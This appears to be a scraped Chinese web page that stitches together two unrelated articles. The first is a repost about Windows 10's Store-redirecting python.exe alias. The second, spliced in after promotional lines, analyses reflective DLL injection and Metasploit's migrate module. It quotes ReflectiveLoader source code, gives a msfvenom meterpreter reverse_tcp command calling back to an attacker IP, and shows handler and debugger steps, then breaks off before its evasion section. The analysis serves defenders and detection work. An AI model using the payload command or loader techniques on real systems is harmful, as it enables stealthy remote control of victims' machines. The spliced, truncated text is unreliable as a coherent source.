優質文章,第一時間送達!
作者:流光飛舞
來源:https://shuhari.dev/blog/2019/11/win10-store-python
最近在使用 Python 的時候發生了很奇怪的現象:從命令行執行 python.exe
并不會進入 REPL,似乎也沒有其他反應,然而稍等片刻,會看到系統彈出 Windows Store 頁面,并定位到 Python App 的詳情頁。
這個現象讓我很是迷惑了一下,還以為是 Python 運行環境出了什么狀況,但很快反應過來,從現象看,應該是 Windows 搞的鬼。
檢查一下路徑是否正常,果然:
$ where python
C:\Users\yuhao\AppData\Local\Microsoft\WindowsApps\python.exe
原理是系統自己搞了一個 Python.exe
。如果從在資源管理器打開上述目錄的話,會看到這里只有孤零零的幾個 .exe 文件,且圖標也不正常,并不是一個真正的、完整的 Python 運行環境。
那么問題來了,Windows 搞這些沒有實際環境的 .exe 出來,用意何在?
從網上找到一些信息,原來從 Windows 10 2019 五月更新以來,微軟試圖把 Python 帶到 Windows,至于具體做法,則是把 Python3 放到了自家的商店里面。而上面看到的 python.exe 是一個“假的” Python,它的唯一作用在于當系統沒有找到 Python 的時候,自動跳轉到微軟商店去讓我們下載。
以下是微軟團隊給出的說法:Who put Python in the Windows 10 May 2019 Update?
可能是擔心這個新的功能導致一些兼容性方面的結果,微軟又在系統設置里面添加了一個比較隱晦的功能。比起在層層疊疊的設置界面里找到它,更簡單的方法是直接輸入 app exec
:
這樣會打開設置的“應用程序別名”界面。這里我們會看到系統認為 python.exe
和python3.exe
都只是安裝程序的別稱,不過我們也可以選擇把它們關閉。這樣當我們再運行 python 的時候,就會顯示“找不到程序”的標準提示。實際上,Windows 是把上述 .exe 文件偷偷備份到其他地方了。
很多程序員(包括我)很可能都是按照標準的方式從官方下載安裝 Python 執行文件。如果在安裝過程中選擇了“添加到系統環境變量”的話,那么標準 Python 會注冊到系統 PATH 變量,而前面所述的 WindowsApps
目錄則是 Windows 添加到用戶 PATH 變量的。按照 Windows 系統的規則,PATH 環境變量是系統設置先于用戶設置,所以如果安裝了標準版 Python 的話,系統應該首先找到的是它,而不是應用商店版的 Python。后來我發現,之所以我的機器會出現上述問題,是因為系統設置有一點語法錯誤,修正以后再次測試,結果就正常了。
到此,我們已經理解了 Windows 自帶的 Python 是怎么回事。微軟這樣做的初衷,應該是希望普通用戶能更方便地用上 Python,這個想法無可厚非,但放到 Windows 應用商店這個設計思路是否合理,我還是有一些懷疑的。畢竟微軟應用商店一直以來名聲并不算太好,內容少、功能欠缺、速度慢,時不時發生一些惱人的小問題(比如 不知所云的 0x8000xxxx 錯誤)。而“應用程序別名”這個功能到底是解決了問題還是帶來更多的困惑,我也持保留意見。
當我在網上查找關于該問題的信息時,也發現有其他用戶同樣受到該問題的困擾,比如:
[Bug] Don't find python library from WindowsApps dir
Microsoft Store installed python (3.7 - Windows 10) based virtualenvs cannot access pyd DLLs
目前,在 Windows 上面安裝 Python 已經有很多不同的方式:
通過官方網站下載安裝;
Anaconda
集成軟件包;Visual Studio
一起安裝;chocolatey
之類的第三方包管理;WSL
安裝 Linux 版 Python;通過 Windows Store 安裝;
說實話,我認為太多不同的來源渠道會讓環境問題變得更復雜,增加出錯的可能,并且容易迷惑初學者。對于大多數程序員來說,建議大家還是按照最基本的方式,從官方下載并安裝 Python。
好文章,我在看??回復下方「關鍵詞」,獲取優質資源
回復關鍵詞「 pybook03」,立即獲取主頁君與小伙伴一起翻譯的《Think Python 2e》電子版
回復關鍵詞「入門資料」,立即獲取主頁君整理的 10 本 Python 入門書的電子版
回復關鍵詞「m」,立即獲取Python精選優質文章合集
回復關鍵詞「」,將數字替換成 0 及以上數字,有驚喜好禮哦~
題圖:pexels,CC0 授權。
dll注入技術是讓某個進程主動加載指定的dll的技術。惡意軟件為了提高隱蔽性,通常會使用dll注入技術將自身的惡意代碼以dll的形式注入高可信進程。
常規的dll注入技術使用LoadLibraryA()函數來使被注入進程加載指定的dll。常規dll注入的方式一個致命的缺陷是需要惡意的dll以文件的形式存儲在受害者主機上。這樣使得常規dll注入技術在受害者主機上留下痕跡較大,很容易被edr等安全產品檢測到。為了彌補這個缺陷,stephen fewer提出了反射式dll注入技術并在github開源,反射式dll注入技術的優勢在于可以使得惡意的dll通過socket等方式直接傳輸到目標進程內存并加載,期間無任何文件落地,安全產品的檢測難度大大增加。
本文將從dll注入技術簡介、msf migrate模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式dll注入技術。
常規dll注入有:
以使用CreateRemoteThread()函數進行dll注入的方式為例,實現思路如下:
常規dll注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。
【一>所有資源關注我,私信回復“資料”獲取<一】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
Reflective loader實現思路如下:
msf的migrate模塊是post階段的一個模塊,其作用是將meterpreter payload從當前進程遷移到指定進程。
在獲得meterpreter session后可以直接使用migrate命令遷移進程,其效果如下圖所示:
migrate的模塊的實現和stephen fewer的ReflectiveDLLInjection項目大致相同,增加了一些細節,其實現原理如下:
原理圖如下所示:
圖中紅色的線表示與常規反射式dll注入不同的地方。紅色的填充表示修改內容,綠色的填充表示增加內容。migrate模塊的reflective loader是直接復用了stephen fewer的ReflectiveDLLInjection項目的ReflectiveLoader.c中的ReflectiveLoader()函數。下面我們主要關注reflective loader的行為。
ReflectiveLoader()首先會調用caller()函數
uiLibraryAddress = caller();
caller()函數實質上是_ReturnAddress()函數的封裝。caller()函數的作用是獲取caller()函數的返回值,在這里也就是ReflectiveLoader()函數中調用caller()函數的下一條指令的地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后,向低地址逐字節比較是否為為dos頭的標識MZ字串,若當前地址的內容為MZ字串,則把當前地址認為是dos頭結構體的開頭,并校驗dos頭e_lfanew結構成員是否指向pe頭的標識”PE”字串。若校驗通過,則認為當前地址是正確的dos頭結構體的開頭。
while( TRUE )
{
//將當前地址當成dos頭結構,此結構的e_magic成員變量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
//判斷e_lfanew結構成員是否指向PE子串,是則跳出循環,取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
獲取必要的dll句柄是通過遍歷peb結構體中的ldr成員中的InMemoryOrderModuleList鏈表獲取dll名稱,之后算出dll名稱的hash,最后進行hash對比得到最終的hash。
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
ULONG_PTR tmpValC = uiValueC;
//計算tmpValC所指向子串的hash值,并存儲在uiValueC中
....
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
必要的函數是遍歷函數所在的dll導出表獲得函數名稱,然后做hash對比得到的。
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH
//等于其他函數hash的情況
|| ...
)
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函數hash的情況
...
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
Nt optional header結構體中的SizeOfImage變量存儲著pe文件在內存中解析后所占的內存大小。所以ReflectiveLoader()獲取到SizeOfImage的大小,分配一塊新內存,然后按照section headers結構中的文件相對偏移和相對虛擬地址,將pe節一一映射到新內存中。
//分配SizeOfImage的新內存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//將所有頭和節表逐字節復制到新內存
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一個節表項
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//將每一節的內容復制到新內存對應的位置
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
首先更具導入表結構,找到導入函數所在的dll名稱,然后使用loadlibary()函數載入dll,根據函數序號或者函數名稱,在載入的dll的導出表中,通過hash對比,并把找出的函數地址寫入到新內存的IAT表中。
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//當沒有到達導入表末尾時
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函數加載對應的dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//如果導入函數是通過函數編號導入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通過函數編號索引導入函數所在dll的導出函數
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//將對應的導入函數地址寫入IAT表
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//導入函數通過名稱導入的
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是為了解決程序指定的imagebase被占用的情況下,程序使用絕對地址導致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應內存的匯編指令。
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不為0,則修正重定向節
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根據不同的標識,修正每一項對應地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
本節一方面是演示如何實際的動態調試msf的migrate模塊,另一方面也是3.1.1的一個補充,從匯編層次來看3.1.1節會更容易理解。
首先用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
并使用msfconsole設置監聽
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
之后在受害機使用windbg啟動msf.exe并且
bu KERNEL32!CreateRemoteThread;g
獲得被注入進程新線程執行的地址,以便調試被注入進程。
當建立session連接后,在msfconsole使用migrate命令
migrate 5600 //5600是要遷移的進程的pid
然后msf.exe在CreateRemoteThread函數斷下,CreateRemoteThread函數原型如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我們要找第四個參數lpStartAddress的值,即r9寄存器的內容,
使用
!address 000001c160bb0000
去notepad進程驗證一下,是可讀可寫的內存,基本上就是對的
此時的地址是migrate stub匯編代碼的地址,我們期望直接斷在reflective loader的函數地址,我們通過
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內存塊大小
直接去搜MZ字串定位到meterpreter loader匯編的地址,進而定位到reflective loader的函數地址
meterpreter loader將reflective loader函數的地址放到rbx中,所以我們可直接斷在此處,進入reflective loader的函數,如下圖所示
reflective loader首先call 000001c1`60bb5dc9也就是caller()函數,caller()函數的實現就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址
在這里也就是0x000001c160bb5e08
獲得下一條指令后的地址后,就會比較獲取的地址的內容是否為MZ如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較e_lfanew結構成員是否指向PE,若是則此時的地址作為dll的基地址。后面調試過程不在贅述。
反射式dll注入技術有很多種檢測方法,如內存掃描、IOA等。下面是以內存掃描為例,我想到的一些掃描策略和比較好的檢測點。
掃描策略:
檢測點多是跟reflective loader函數的行為有關,檢測點如下:
深信服云主機安全保護平臺CWPP能夠有效檢測此類利用反射式DLL注入payload的無文件攻擊技術。檢測結果如圖所示:
對于標準的反射dll注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。